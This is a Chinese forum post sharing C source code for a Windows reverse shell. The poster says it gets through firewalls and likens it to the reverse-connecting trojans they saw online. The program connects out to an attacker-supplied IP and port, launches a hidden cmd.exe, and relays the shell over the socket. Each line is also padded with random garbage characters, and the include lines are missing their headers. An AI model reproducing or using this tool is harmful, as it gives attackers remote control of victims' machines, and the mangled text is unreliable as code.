社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6733阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G)|HFcE  
4<Y[L'UaA@  
/* ============================== ?|yJ #j1=  
Rebound port in Windows NT I3b-uEHev  
By wind,2006/7 }kefrT  
===============================*/ ~2ei+#d!^  
#include |q)Q <%VS'  
#include A~SSu.L@  
x l=|]8w  
#pragma comment(lib,"wsock32.lib") )PNk O3  
90D.G_45  
void OutputShell(); F$p,xFH#  
SOCKET sClient; }gaKO 5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a :AcCd)  
-ouL4  
void main(int argc,char **argv) o%Q2.  
{ Ll48)P{+}V  
WSADATA stWsaData; ~3]8f0^%m  
int nRet; [T|1Qq7  
SOCKADDR_IN stSaiClient,stSaiServer; B%;+8]  
Yr0i9Qow  
if(argc != 3) P"<ad kr  
{ H8k| >4  
printf("Useage:\n\rRebound DestIP DestPort\n"); .W:], 5e  
return; cu|q &  
} 1H@F>}DP  
$R36`wk  
WSAStartup(MAKEWORD(2,2),&stWsaData); dU n#'<g5  
( h,F{7  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @},k\Is  
L6qA=b~iz  
stSaiClient.sin_family = AF_INET; ;yrcH+I$_  
stSaiClient.sin_port = htons(0);  ]^%3Y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 24l9/v'  
K*RRbtb  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) FQ^uX]<3j  
{ \?}.+v  
printf("Bind Socket Failed!\n"); mt7:`-  
return; CcE TS}Q0C  
} 3qZ{yr2N[  
Np_6ZUaqz  
stSaiServer.sin_family = AF_INET; {'C74s  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'iK*#b8l  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :D-vE7  
u?/]"4  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5@5="lNjS  
{ yY|U}]u!V  
printf("Connect Error!"); LnIJ wD  
return; UkQocZdZ  
} 1-<Xi-=^{t  
OutputShell(); qILr+zH  
} #}?$mxME*  
|V]E8Qt  
void OutputShell() f}3bYF  
{ dq&d>f1  
char szBuff[1024]; aS 2 Y6  
SECURITY_ATTRIBUTES stSecurityAttributes; "5bk82."  
OSVERSIONINFO stOsversionInfo; V4D&&0&n  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {'[1I_3  
STARTUPINFO stStartupInfo; L}nc'smvM  
char *szShell; '(*D3ysU  
PROCESS_INFORMATION stProcessInformation; >48Y-w  
unsigned long lBytesRead; ><^@1z.J  
n_hD  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @^@-A\7[KO  
bN)?szh&Y  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); TA5M4r6  
stSecurityAttributes.lpSecurityDescriptor = 0; SNFz#*  
stSecurityAttributes.bInheritHandle = TRUE; $!lxVZ>  
Atw^C+"vW&  
"zc!QHpSd  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "m5ZZG#R`  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v-qS 'N 4  
Joj8'  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Zx0c6d!B  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j>zVC;Sj*  
stStartupInfo.wShowWindow = SW_HIDE; S/aPYrk>6  
stStartupInfo.hStdInput = hReadPipe; ," v%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |n/id(R+  
1??RX}8[L+  
GetVersionEx(&stOsversionInfo); !b=$FOC>  
eS|p3jk;  
switch(stOsversionInfo.dwPlatformId) ( d.i np(  
{ >6j`ZWab>  
case 1: >LSA?dy!?  
szShell = "command.com"; L2%P  
break; q\<vCKI-^  
default: oY: "nE  
szShell = "cmd.exe"; DJ.Ct4  
break; 4g9VE;Gd  
} up?8Pq*  
*V}}3Degh  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); wVTo7o%U  
7Ll(,i<,C  
send(sClient,szMsg,77,0); ?a}~yz#B(  
while(1) BHYEd}M  
{ 49 D*U5o  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); umeb&\:8S-  
if(lBytesRead) wv$=0zF  
{ E}u\{uY  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B#}RMFIj  
send(sClient,szBuff,lBytesRead,0); s zg1.&  
} =&'j;j  
else WUWQcJj  
{ KN=Orx7Gy  
lBytesRead=recv(sClient,szBuff,1024,0); a@. /e @p  
if(lBytesRead<=0) break; F=H=[pSe  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~jaGf  
} E {MSi"  
} s*@.qN  
 xMU)  
return; ~i4@sz&  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八